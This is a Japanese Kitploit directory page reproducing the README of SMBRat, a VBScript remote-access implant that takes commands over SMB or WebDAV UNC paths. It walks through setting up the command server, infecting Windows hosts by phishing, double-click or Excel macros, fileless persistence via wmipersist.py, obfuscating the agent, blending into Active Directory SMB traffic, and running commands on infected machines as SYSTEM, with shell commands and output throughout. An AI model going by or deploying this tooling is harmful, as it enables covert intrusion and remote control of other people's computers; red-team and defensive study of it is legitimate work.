Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
SMBRat — Visual Basicで記述された、UNCパス対応のWindowsリモート管理ツール | Kitploit
ツール/GitHubGitHub/operatorequals/smbrat
フィッシングツールペイロード生成永続化メカニズムエクスプロイト横移動シェルコードポストエクスプロイトペネトレーションテストコマンド&コントロールレッドチーミングリモートアクセスツール
GitHub
22127年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
operatorequals/smbrat

SMBRat

Visual Basicで記述された、UNCパス対応のWindowsリモート管理ツール

リポジトリを見る

SMBRat

Visual Basic Script による Windows リモート管理ツール

アイデア

Active Directory ネットワークのような Windows 環境 では、SMB トラフィックが非常に増大します。

すべてのホストは SYSVOL から ポリシー を取得し、設定はリモートファイルを必要とし、デスクトップショートカットは \\何か\別の場所\network.exe を指す傾向があります。

もう一度接続を試みても誰も気づかないでしょう。そうでしょう?

- 特に成功した場合(ファイアウォール 拒否 のみを監視するのが一般的です)

材料

エージェント

ドキュメント・アーカイブに親しみやすい

agent は、感染したホスト上で実行され、SMB サーバー に接続する Visual Basic Script です。ホストの hostname とプライマリ MAC アドレスにちなんで名付けられたディレクトリをそこに作成します(レポート目的で ユニーク かつ 情報豊富 であることを目指しています)。感染したホストに対するすべてのコマンドと情報はこのディレクトリに保存されます。共有フォルダ全体を zip 圧縮すれば、すべてのプロジェクト情報がアーカイブされます!

ステルス性

共有を マウント するためにドライブ文字を使用 しません。UNC パス を使用してリモートファイルを直接読み取ります(explorer.exe には ドライブ は作成されません)。

また、自身の実行環境の %PATH% 変数に UNC パス を注入します(Linux マシンのファイルシステムから実行ファイルを直接実行できます)。

エージェントの実行

agent は 一度だけ実行 するように設定されています。ステートレス に動作します。

そのルーチンは(おおよそ)次のとおりです:

  • SMB 共有 に作成したフォルダ内で exec.dat という名前のファイルを探します。
  • ファイルが見つかると、その内容を読み取り、cmd.exe /c <command> でコマンドとして実行します(半対話型シェル のように)。
  • コマンドの応答は(exec.dat の隣の)output.dat に保存されます。
  • exec.dat ファイルを削除します。
エージェント 設定の Wiki ページ

ハンドラー

handler が動作するには SMB サーバー が必要です。Core Security's impacket パッケージの smbserver.py モジュールで十分です。

おそらく smbd でも動作するでしょうが、まだテストされていません。

SMB サーバー のセットアップ

正当な Windows ホストの SMB のように見せるために、D$ という名前の共有が必要です。

root@kitploit:~
# mkdir Share
# smbserver.py -comment "My Share" "D$" Share/
Impacket v0.9.17-dev - Copyright 2002-2018 Core Security Technologies

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

WebDAV の場合!

agent は UNC パスのみを使用するように設定されているため、WebDAV も 変更不要 で使用できます。 SMB サーバーの代わりに WebDAV サーバー を使用できます(SSL 対応の優れた WebDAV サーバーとしては wsgidav があります)。

root@kitploit:~
# mkdir 'D$'
# wsgidav -p 80 -H 0.0.0.0 -r . --auth anonymous
[...] INFO    :  WsgiDAV/3.0.0 Python/2.7.16 Linux-4.19.0-kali3-amd64-x86_64-with-Kali-kali-rolling-kali-rolling
[...] INFO    :  Lock manager:      LockManager(LockStorageDict)
[...] INFO    :  Property manager:  None
[...] INFO    :  Domain controller: SimpleDomainController()
[...] INFO    :  Registered DAV providers by route:
[...] INFO    :    - '/:dir_browser': FilesystemProvider for path '/root/.virtualenvs/wsgidav/local/lib/python2.7/site-packages/wsgidav/dir_browser/htdocs' (Read-Only) (anonymous)
[...] INFO    :    - '/': FilesystemProvider for path '/tmp/DAV' (Read-Write) (anonymous)
[...] WARNING :  Basic authentication is enabled: It is highly recommended to enable SSL.
[...] WARNING :  Share '/:dir_browser' will allow anonymous read access.
[...] WARNING :  Share '/' will allow anonymous write access.
[...] INFO    :  Running WsgiDAV/3.0.0 Cheroot/6.5.4 Python/2.7.16
[...] INFO    :  Serving on http://0.0.0.0:80 ...

[...] INFO    :  192.168.163.130 - (anonymous) - [2019-04-18 14:57:53] "PROPFIND /D$/Project1/DESKTOP-I3NFOQ5-John-AA-BB-CC-DD-EE-FF/ping.dat" length=0, depth=0, elap=0.004sec -> 207 Multi-Status

SSL を使用する場合、UNC パスはわずかに変更する必要があります。

root@kitploit:~
\\<サーバーIP>\DIR\

から:

root@kitploit:~
\\<サーバーIP>@SSL@443\DIR\

この変更は ServerName agent.vbs 変数に対してのみ行うことができます。すべてのパスはこれによって構築されるためです。 SSL 証明書は、agent を実行しているシステムから 信頼されている 必要があることに注意してください。自己署名証明書は警告付きで 失敗します。

感染スキーム

ファイルからホストに感染させる

agent.vbs ファイルの先頭に While ループ と複数秒(10 秒が理想)の遅延文を追加すると、ダブルクリック / フィッシング / Excel マクロ などによって Windows ホストに感染させることができます。

1 秒の遅延を持つ VBS の while True ループは次のようになります:

root@kitploit:~
Do While True
	[...]
	WScript.Sleep 1000
Loop

ホストに ファイルレス で感染させる

ただし、Windows ホストで RPC が有効になっている場合、WMI と素晴らしい impacket パッケージの例を使用して、次のようなコマンドで VBS ファイルを ファイルレスマルウェア としてインストールすることが可能です:

root@kitploit:~
$ examples/wmipersist.py '<username>:<password>@<hostname/ipaddress>' install -vbs agent.vbs -name smbrat -timer 10

また、ローカルアクセスによって WMI ツールを使用して agent.vbs をファイルレスマルウェアとしてインストールすることも可能です。

難読化?

Visual Basic Script は、難読化、base64 エンコード、最小化 をうまく行うことができます。

「デプロイ」前にひと手間かけると非常に便利です 😉

  • VBS 難読化のためのオンラインツール
  • Github リポジトリ

SMB 共有 のディレクトリ構造

共有フォルダ内に手動でフォルダを作成しないでください

最小限の使用方法

執筆時点では Handler シェルは実装されていません そのため、watch のようなコマンドを使用して output.dat ファイルを監視することで使用できます:

root@kitploit:~
$ watch -n0.2 cat Share/projectName/DESKTOP-XXXXXXX-AA\:BB\:CC\:DD\:EE\:FF/output.dat

そして、echo で exec.dat ファイルに書き込みます:

root@kitploit:~
$ echo 'whoami /all' > Share/projectName/DESKTOP-XXXXXXX-AA\:BB\:CC\:DD\:EE\:FF/exec.dat

handler.py

実験的なシェルは次のように動作します:

root@kitploit:~
$ python handler.py Share/
SMBRat> 
# 新しいホストが感染したとき:
[+] Agent "DESKTOP-EG4OE7J" (00:0C:29:2B:9F:AF) just checked-in for Project: "projectName"

SMBRat> execall whoami /user

[>] Sending 'whoami /user' to "projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF" ...
		
SMBRat> 
[<] Response from 'projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF': 


USER INFORMATION
----------------

User Name           SID     
=================== ========
nt authority\system S-1-5-18

^^^^^^^^^^^^^^^^^^^^ projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF ^^^^^^^^^^^^^^^^^^^^
SMBRat> 
				

顕著な落とし穴

SMBv1 は 暗号化されていません :

root@kitploit:~
# tcpdump -i eth0 -A
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes

[...]

15:25:06.695502 IP Deskjet-4540.microsoft-ds > 172.16.47.129.3128: Flags [P.], seq 2876:2971, ack 4791, win 2110, length 95 SMB PACKET: SMBreadX (REPLY)

E...,E@[email protected].../.../....8
.&Mi~.6P..>.......[.SMB........................
.@............ .;........... .net localgroup "administrators"

[...]

15:25:06.702916 IP 172.16.47.129.3128 > Deskjet-4540.microsoft-ds: Flags [P.], seq 4917:5111, ack 3097, win 2052, length 194 SMB PACKET: SMBtrans2 (REQUEST)

E...E.@......./.../..8..i~..
.'*P....b.......SMB2......................

.F..z.....(...........z.D.........}..........\.p.r.o.j.e.c.t.N.a.m.e.\.D.E.S.K.T.O.P.-.E.G.4.O.E.7.J.-.0.0.:.0.C.:.2.9.:.2.B.:.9.F.:.A.F.\.o.u.t.p.u.t...d.a.t...

[...]

15:25:06.751372 IP 172.16.47.129.3128 > Deskjet-4540.microsoft-ds: Flags [P.], seq 6049:6393, ack 3748, win 2050, length 344 SMB PACKET: SMBwrite (REQUEST)

[email protected]../.../..8..i~. 
.).P....*.....T.SMB........................
.T....$.......'..$.Alias name     administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
Admin
Administrator
defaultuser0
The command completed successfully.

[...]

SMBv1 サーバー(例:impacket の smbserver.py)を使用すると、トラフィック(ファイルの 内容 と パス)が平文で転送されます。

  • 暗号化/難読化レイヤーを追加すれば、この問題は完全に解決できるでしょう!

共有全体が誰でも READ/WRITE 可能:

すべてのエージェントが 共有全体 のファイルを変更できます。つまり、他のエージェントの exec.dat を変更できてしまいます。 smbmap で明らかになります:

root@kitploit:~
$ smbmap -H 172.16.47.189
[+] Finding open SMB ports....
[+] User SMB session establishd on 172.16.47.189...
[+] IP: 172.16.47.189:445	Name: Deskjet-4540                                      
	Disk                                                  	Permissions
	----                                                  	-----------
	D$                                                	READ, WRITE
	[!] Unable to remove test directory at \\172.16.47.189\D$\SVNRmxBFAO, plreae remove manually
	IPC$                                              	READ, WRITE
	[!] Unable to remove test directory at \\172.16.47.189\IPC$\SVNRmxBFAO, plreae remove manually

smbmap の -u および -p パラメータがないことに注意してください。

これは NULL セッション(FTP 匿名ログインのようなもの)です。誰でも共有ファイルを変更 でき、感染したすべてのマシンで リモートコード実行 が可能になります。

  • ここで iptables を起動したほうが良いでしょう...

セッションは 対話型ではありません

execall netsh と入力すると、すべてのエージェントを失います。agent.vbs が netsh.exe シェルを起動し、その終了を待ってから内容を output.dat に書き込もうとするため、どのエージェントも応答しなくなります。しかし、どうなるでしょうか... それは 終了しません... netsh> が虚空を指したままハングアップします。

ツールをダウンロード